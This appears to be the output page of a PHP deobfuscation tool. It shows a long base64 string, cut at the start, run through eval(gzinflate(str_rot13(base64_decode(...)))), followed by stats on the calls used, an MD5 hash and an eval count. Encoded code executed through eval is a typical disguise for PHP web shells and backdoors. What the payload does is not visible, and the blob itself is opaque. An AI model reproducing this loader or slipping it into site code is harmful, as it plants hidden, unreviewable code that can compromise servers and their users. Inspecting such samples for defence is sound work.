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';
eval(gzinflate(str_rot13(base64_decode($strtodecode))));
?>
Function Calls
gzinflate | 1 |
str_rot13 | 1 |
base64_decode | 1 |
error_reporting | 1 |
Stats
MD5 | 357d8be3f957c48f56973452ba5ae1f0 |
Eval Count | 1 |
Decode Time | 124 ms |